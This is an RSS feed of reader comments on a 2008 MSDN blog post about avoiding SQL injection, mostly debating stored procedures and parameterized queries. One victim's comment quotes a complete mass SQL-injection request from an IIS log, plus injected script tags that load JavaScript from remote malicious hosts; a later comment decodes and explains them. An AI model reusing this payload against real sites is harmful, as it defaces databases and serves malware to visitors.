<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.msdn.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx</link><description>It isn't as big of a deal at the moment, but it is always good to make sure everyone is aware of this and how dangerous it can be.&amp;#160; There is some very good information on it located on MSDN here .&amp;#160; The important part is to remember that anytime</description><dc:language>en-US</dc:language><generator>CommunityServer 2.1 SP1 (Build: 61025.2)</generator><item><title>SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8558556</link><pubDate>Thu, 29 May 2008 17:19:40 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8558556</guid><dc:creator>DotNetKicks.com</dc:creator><description>&lt;p&gt;You've been kicked (a good thing) - Trackback from DotNetKicks.com&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8559217</link><pubDate>Thu, 29 May 2008 19:30:21 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8559217</guid><dc:creator>stevef</dc:creator><description>&lt;p&gt;Can we not just use parameterized inline sql. Has the same protection and removes a layer of maintenance.&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8559428</link><pubDate>Thu, 29 May 2008 20:19:20 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8559428</guid><dc:creator>Justin Saraceno</dc:creator><description>&lt;p&gt;Although stored procedures are usually better practice, they aren't the only answer here. &amp;nbsp;Plain old paramaterized text queries will do the trick too.&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8559436</link><pubDate>Thu, 29 May 2008 20:22:13 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8559436</guid><dc:creator>Tom</dc:creator><description>&lt;p&gt;Stevef,&lt;/p&gt;
&lt;p&gt;That is an option also. &amp;nbsp;Stored procedures allow you to do more validation if you want, but that would work as well for the majority of issues.&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8559590</link><pubDate>Thu, 29 May 2008 21:24:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8559590</guid><dc:creator>kris</dc:creator><description>&lt;P&gt;Agreed, that's good advice, but as stevef already noted, parameterized inline SQL (using System.Data.SqlClient.SqlCommand) is just as safe. And unlike what Tom suggests, i believe you can do exactly the same T-SQL you can in a stored procedure, and that includes all the validation you wish. It just won't have the performance benefits of using a stored procedure.&lt;/P&gt;
&lt;P&gt;Too bad you didnt show how to make the actual stored procedure, It could be very usefull for those who arrive here from search engines. So here goes a pretty simple off-the-top-of-my-head T-SQL script for creating a stored procedure that gets a list of orders from an imaginary database.&lt;/P&gt;
&lt;P&gt;IF EXISTS( SELECT 1 FROM sysobjects so WHERE so.name = 'AuthorLogin' and xtype = 'S' IS NOT NULL&lt;/P&gt;
&lt;P&gt;BEGIN&lt;/P&gt;
&lt;P&gt;DROP PROCEDURE spOrder_FetchById&lt;/P&gt;
&lt;P&gt;END&lt;/P&gt;
&lt;P&gt;GO&lt;/P&gt;
&lt;P&gt;CREATE PROCEDURE spOrder_FetchById&lt;/P&gt;
&lt;P&gt;(&lt;/P&gt;
&lt;P&gt;@City VARCHAR(32)&lt;/P&gt;
&lt;P&gt;)&lt;/P&gt;
&lt;P&gt;AS&lt;/P&gt;
&lt;P&gt;BEGIN&lt;/P&gt;
&lt;P&gt;SELECT&lt;/P&gt;
&lt;P&gt;OV.* &lt;/P&gt;
&lt;P&gt;FROM OrderListView OV&lt;/P&gt;
&lt;P&gt;WHERE &lt;/P&gt;
&lt;P&gt;OV.City = @City&lt;/P&gt;
&lt;P&gt;ORDER BY&lt;/P&gt;
&lt;P&gt;OV.OrderDate ASC&lt;/P&gt;
&lt;P&gt;,OV.TotalOrderAmount DESC&lt;/P&gt;
&lt;P&gt;END&lt;/P&gt;
&lt;P&gt;GO&lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8559605</link><pubDate>Thu, 29 May 2008 21:30:04 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8559605</guid><dc:creator>Tom</dc:creator><description>&lt;p&gt;Kris,&lt;/p&gt;
&lt;p&gt;Thanks for including that. &amp;nbsp;You are right, I should have added that as well and performance is a big reason for using a stored procedure.&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8559812</link><pubDate>Thu, 29 May 2008 22:34:06 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8559812</guid><dc:creator>stevef</dc:creator><description>&lt;p&gt;That is very negligable thesedays (inline is also compiled) especially given the burden of an extra layer to write and maintain. i'd rather spend that time speeding up the UI, saving k down the wire (viewstate, daft control naming conventions etc etc) is so much more noticable for the end user compared to a tiny speed benefit in a proc&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8559840</link><pubDate>Thu, 29 May 2008 22:43:07 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8559840</guid><dc:creator>alex</dc:creator><description>&lt;p&gt;the performance gain you get using a stored procedure is more or less neglible, unless you're running large queries. The same can be said of the network traffic you're saving.&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8560061</link><pubDate>Thu, 29 May 2008 23:41:51 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8560061</guid><dc:creator>kris</dc:creator><description>&lt;p&gt;Tom, I didnt mean to tell you how to blog or anything, just hoped the info might help someone. I see the whole text i posted earlier isn't worth much in this form though, so much information is lost with the indent being gone. Maybe you can mod some code tags around, or just put something in the main blog post?&lt;/p&gt;
&lt;p&gt;stevef, i agree for the most part that the gain in performance is negligable, but that isn' true for every situation. &amp;nbsp;For example; my team maintains a large-ish database that stores, among other things, online transactions, but it also does a lot of processing and that includes importing offline transactions. In our case, even merely not having to put the text of the statement over the line from our communications host to the database is &amp;quot;pure profit&amp;quot;. It's only a couple hundred bytes per transaction, but in the grand scheme of things, it adds up.&lt;/p&gt;
&lt;p&gt;We'll be migrating to oracle in the near future, that'll be... interesting.&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8560574</link><pubDate>Fri, 30 May 2008 01:53:44 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8560574</guid><dc:creator>Jeff Woodman</dc:creator><description>&lt;P&gt;SQL injection is a huge problem right now for state government networks. We are seeing a HUGE amount of probing for SQL injection vulnerabilities here in New Mexico. Most of the malicious traffic seems to originate from Hong Kong. A friend of mine has been detailed pretty much full-time to analyze existing web apps to find vulerabilities (unparameterized SQL statements). &lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8560591</link><pubDate>Fri, 30 May 2008 01:58:09 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8560591</guid><dc:creator>Jeff Woodman</dc:creator><description>&lt;P&gt;Also, my two cents on inline SQL vs. stored procedures: SPs simplify security; if all the data access and manipulation is done via stored procedures, you don't have to grant the application's account direct CRUD access to table. &lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8560678</link><pubDate>Fri, 30 May 2008 02:22:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8560678</guid><dc:creator>my web has javasript</dc:creator><description>&lt;P&gt;it contain more js like，every colum contain like&lt;/P&gt;
&lt;P&gt;&amp;lt;script src=http://s.see9.us/s.js&amp;gt;&amp;lt;/script&amp;gt;&lt;/P&gt;
&lt;P&gt;&amp;lt;script src=http://%61%31%38%38%2E%77%73/1.js&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!"&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js&amp;gt;&amp;lt;/scr"&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js&amp;gt;&amp;lt;/scr' &amp;nbsp; &amp;nbsp; &amp;nbsp;width=50 &amp;nbsp; &amp;nbsp;border=0&amp;gt;&lt;/P&gt;
&lt;P&gt;I open iis log, it is &amp;nbsp;some like&lt;/P&gt;
&lt;P&gt;http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- &lt;/P&gt;
&lt;P&gt;what does that mean?I think it must be here have bad, I change databa password,but no result&lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8561170</link><pubDate>Fri, 30 May 2008 04:56:23 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8561170</guid><dc:creator>Tom</dc:creator><description>&lt;p&gt;Kris,&lt;/p&gt;
&lt;p&gt;I'll see what I can do and put up a sample stored procedure with spacing well and add it to this blog post. &amp;nbsp;Why are you switching to Oracle?&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8562257</link><pubDate>Fri, 30 May 2008 11:10:17 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8562257</guid><dc:creator>Kris</dc:creator><description>&lt;P&gt;Tom,&lt;/P&gt;
&lt;P&gt;We're switching to oracle because our main software branch and the development team along with it, were basically bought up by a huge US corporation. They're already running a lot of oracle based systems worldwide and since they're going to be "running the show", they've mandated the switch.&lt;/P&gt;
&lt;P&gt;It kinda excites me for the challenges it will bring. My database background has always been pretty much mysql only before I got this job. And i remember the mental effort required to make the switch to SqlServer was big, but overall it's been a great learning experience.&lt;/P&gt;
&lt;P&gt;I'll never know even nearly everything I'd like to know, but every new thing mastered is a step in the right direction.&lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8562458</link><pubDate>Fri, 30 May 2008 12:09:20 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8562458</guid><dc:creator>Klas</dc:creator><description>&lt;P&gt;On the subject, cracked me up &lt;A href="http://xkcd.com/327" target=_new rel=nofollow&gt;http://xkcd.com/327&lt;/A&gt;&lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8562467</link><pubDate>Fri, 30 May 2008 12:12:29 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8562467</guid><dc:creator>stevef</dc:creator><description>&lt;P&gt;Jeff,&lt;/P&gt;
&lt;P&gt;I still dont see this as a major win against the overhead of creating CRUD procs on a large db. Surely if someone can gain access to your tables directly through somehow getting and using application credentials then you have got a much bigger infrastructure security issue.&lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8563162</link><pubDate>Fri, 30 May 2008 16:47:15 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8563162</guid><dc:creator>theredhead</dc:creator><description>&lt;p&gt;Tom, good job on the update, especially with the &amp;quot;Note: the &amp;quot;SET NOCOUNT ON&amp;quot; will prevent SQL Server from sending the DONE_IN_PROC message for each statement in a stored procedure which will improve performance especially for large stored procedures.&amp;quot;&lt;/p&gt;
&lt;p&gt;I had no idea that did anything besides make sqlwb's output log more readable. means i'm still learning this stuff :-)&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8563481</link><pubDate>Fri, 30 May 2008 18:43:32 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8563481</guid><dc:creator>Chris</dc:creator><description>&lt;p&gt;Would using the parameters 'addwithvalue' command help prevent SQL injection?&lt;/p&gt;
&lt;p&gt;ie. &amp;nbsp;insertcmd.Parameters.AddWithValue(@user, this.txtlogin.txt)&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8563690</link><pubDate>Fri, 30 May 2008 20:04:25 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8563690</guid><dc:creator>Jeff Woodman</dc:creator><description>&lt;P&gt;Stevef, point taken: If hackers get that far, you've got major security issues. I still like the approach's simplicity though. Especially if someone else is responsibly for maintaining the database security for my application. ;) &lt;/P&gt;
&lt;P&gt;At the agency I work for, the SP approach is the standard way of doing things. An SP layer will more clearly delineate application/service boundaries and is simpler to manage security on, period. &lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8563734</link><pubDate>Fri, 30 May 2008 20:20:29 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8563734</guid><dc:creator>Tom</dc:creator><description>&lt;p&gt;Chris,&lt;/p&gt;
&lt;p&gt;Yes, that is what Stevef was suggesting also. &amp;nbsp;That would work.&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8564073</link><pubDate>Fri, 30 May 2008 22:31:43 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8564073</guid><dc:creator>Jeff Woodman</dc:creator><description>&lt;p&gt;Chris, using AddWithValue is risky because the allowed length of the parameter is inferred from the length of the input in the case of strings. It's better to create a formal parameter so you can assign a data type and a maximum length for the paramter's value. I use AddWithValue for numeric values, and it's also OK to use them if you've previously validated the string value.&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8565474</link><pubDate>Sat, 31 May 2008 06:48:16 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8565474</guid><dc:creator>Michelle</dc:creator><description>&lt;p&gt;The hyperlinks related to classic ASP are dead&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8567319</link><pubDate>Sun, 01 Jun 2008 08:00:18 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8567319</guid><dc:creator>Tom</dc:creator><description>&lt;p&gt;Michelle,&lt;/p&gt;
&lt;p&gt;They are fixed now. &amp;nbsp;Sorry about that.&lt;/p&gt;
</description></item><item><title>SQL Injection continued</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8569588</link><pubDate>Mon, 02 Jun 2008 18:43:06 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8569588</guid><dc:creator>ASP.NET Debugging</dc:creator><description>&lt;p&gt;My previous post on this topic generated so much discussion that I thought I should post about it some&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8570525</link><pubDate>Tue, 03 Jun 2008 02:02:12 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8570525</guid><dc:creator>adefwebserver</dc:creator><description>&lt;p&gt;Is anyone here using Linq to SQL? After using it you can't go back. SQL injection is not an issue and I feel that the LINQ to SQL &amp;quot;sql&amp;quot; is more optimized than CRUD stored procedures. For example an update stored procedure is writen to usually update every field even if only one is changed. A Linq to SQL update statement only updates the fields being updated. This is really helpful because it wont lock the whole row. &lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8570802</link><pubDate>Tue, 03 Jun 2008 05:49:06 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8570802</guid><dc:creator>David</dc:creator><description>&lt;P&gt;I do not know what is the scariest: still having to talk about SQL injections in 2008 or telling people to use stored procedures for CRUD operations.&lt;/P&gt;
&lt;P&gt;I reckon this post is a *good thing* because constant reminders are what prevent forgetting things.&lt;/P&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8571447</link><pubDate>Tue, 03 Jun 2008 15:38:52 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8571447</guid><dc:creator>molotov</dc:creator><description>&lt;p&gt;Though it's likely a subset of other information that has been linked to, I didn't see this listed, and thought it may be relevant / beneficial / supporting:&lt;/p&gt;
&lt;p&gt;Giving SQL Injection the Respect it Deserves @ &lt;a rel="nofollow" target="_new" href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx"&gt;http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx&lt;/a&gt;&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8571618</link><pubDate>Tue, 03 Jun 2008 17:51:16 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8571618</guid><dc:creator>Tom</dc:creator><description>&lt;p&gt;Adefwebserver,&lt;/p&gt;
&lt;p&gt;Very good point. &amp;nbsp;I'll have to look into this and maybe post an example on here.&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8571637</link><pubDate>Tue, 03 Jun 2008 18:01:41 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8571637</guid><dc:creator>Tom</dc:creator><description>&lt;p&gt;Molotov,&lt;/p&gt;
&lt;p&gt;It is always good to point it out directly though. &amp;nbsp;Thanks.&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8571988</link><pubDate>Tue, 03 Jun 2008 22:02:56 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8571988</guid><dc:creator>Ash</dc:creator><description>&lt;p&gt;What I really want to know is why in the world any DBA would allow a sql server login for a public website to have DROP TABLE permissions. &amp;nbsp;That just defies logic.&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8573521</link><pubDate>Wed, 04 Jun 2008 18:48:40 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8573521</guid><dc:creator>adefwebserver</dc:creator><description>&lt;p&gt;The &amp;quot;Filtering SQL Injection From Classic ASP&amp;quot; provides the fastest method to do something &amp;quot;right now&amp;quot; while you are recoding to use sql parameters. It allows you to put an &amp;quot;include&amp;quot; at the top of your pages.&lt;/p&gt;</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8575182</link><pubDate>Thu, 05 Jun 2008 15:55:38 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8575182</guid><dc:creator>Tom</dc:creator><description>&lt;p&gt;my web has javasript,&lt;/p&gt;
&lt;p&gt;I'd suggest you create a case with Microsoft and let us look into it. &amp;nbsp;We will be able to track down what happened and help get things working correctly again.&lt;/p&gt;
&lt;p&gt;Check out:&lt;/p&gt;
&lt;p&gt;&lt;a rel="nofollow" target="_new" href="http://blogs.msdn.com/tom/archive/2007/11/15/contacting-tom.aspx"&gt;http://blogs.msdn.com/tom/archive/2007/11/15/contacting-tom.aspx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For information about contacting Microsoft.&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#8792835</link><pubDate>Thu, 31 Jul 2008 05:47:27 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8792835</guid><dc:creator>Ben in SC</dc:creator><description>&lt;P&gt;mywebhasjavascript&lt;/P&gt;
&lt;P&gt;asked about malicious javascript in his columns&lt;/P&gt;
&lt;P&gt;if you go to &lt;A href="http://www.albionresearch.com/misc/urlencode.php" target=_new rel=nofollow&gt;http://www.albionresearch.com/misc/urlencode.php&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;you can translate this: src=http://%61%31%38%38%2E%77%73/1.js &lt;/P&gt;
&lt;P&gt;into this:&lt;/P&gt;
&lt;P&gt;src=&lt;A href="http://a188.ws/1.js" target=_new rel=nofollow&gt;http://a188.ws/1.js&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;However, his big problem is that he has been hacked, big time, by a combined SQL injection/cross site scripting attack that loads a big hex string into SQL Server (@s=0x....) and executes it (exec @s). &amp;nbsp;It loaded this javascript in every column in your DB in the hope that your users will get this payload in dynamic html pages and will execute and load malicious code in your user's machine.&lt;/P&gt;
&lt;P&gt;Restore your DB from backup, disconnect from the web until you follow the advice on this page and make your app secure from SQL injection. &amp;nbsp;Don't turn your web app on again until you have parameterized queries or stored procs.&lt;/P&gt;
&lt;P&gt;This is THE big hack of 2008. &amp;nbsp;It's all over the web.&lt;/P&gt;
&lt;P&gt;Good luck.&lt;/P&gt;
&lt;P&gt;Ben in SC&lt;/P&gt;</description></item><item><title>How to configure URLScan 3.0 to mitigate SQL Injection Attacks</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#9001142</link><pubDate>Thu, 16 Oct 2008 01:31:04 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9001142</guid><dc:creator>Useful IIS/ASP.NET Information provided by Microsoft Support Teams</dc:creator><description>&lt;p&gt;The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScan&lt;/p&gt;
</description></item><item><title>How to configure URLScan 3.0 to mitigate SQL Injection Attacks</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#9001151</link><pubDate>Thu, 16 Oct 2008 01:37:09 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9001151</guid><dc:creator>IIS troubleshooting, administration, and concepts.</dc:creator><description>&lt;p&gt;The purpose of this blog post is to review the concept of SQL Injection attacks, to introduce URLScan&lt;/p&gt;
</description></item><item><title>re: SQL Injection and how to avoid it</title><link>http://blogs.msdn.com/tom/archive/2008/05/29/sql-injection-and-how-to-avoid-it.aspx#9914615</link><pubDate>Thu, 29 Oct 2009 10:41:58 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9914615</guid><dc:creator>Kris</dc:creator><description>&lt;p&gt;@Ash &amp;quot;why in the world any DBA would allow a sql server login for a public website to have DROP TABLE permissions&amp;quot;&lt;/p&gt;
&lt;p&gt;I agree wholeheartedly, it's possibly in the top ten of stupidest things you could possibly do, but the web is basically built mostly by stupid people so you're gonna run into this a lot, I know it sucks, but that's just life.&lt;/p&gt;
&lt;p&gt;P.S. yes, i know this is old, I followed some log links and got interested all over again :)&lt;/p&gt;</description></item></channel></rss>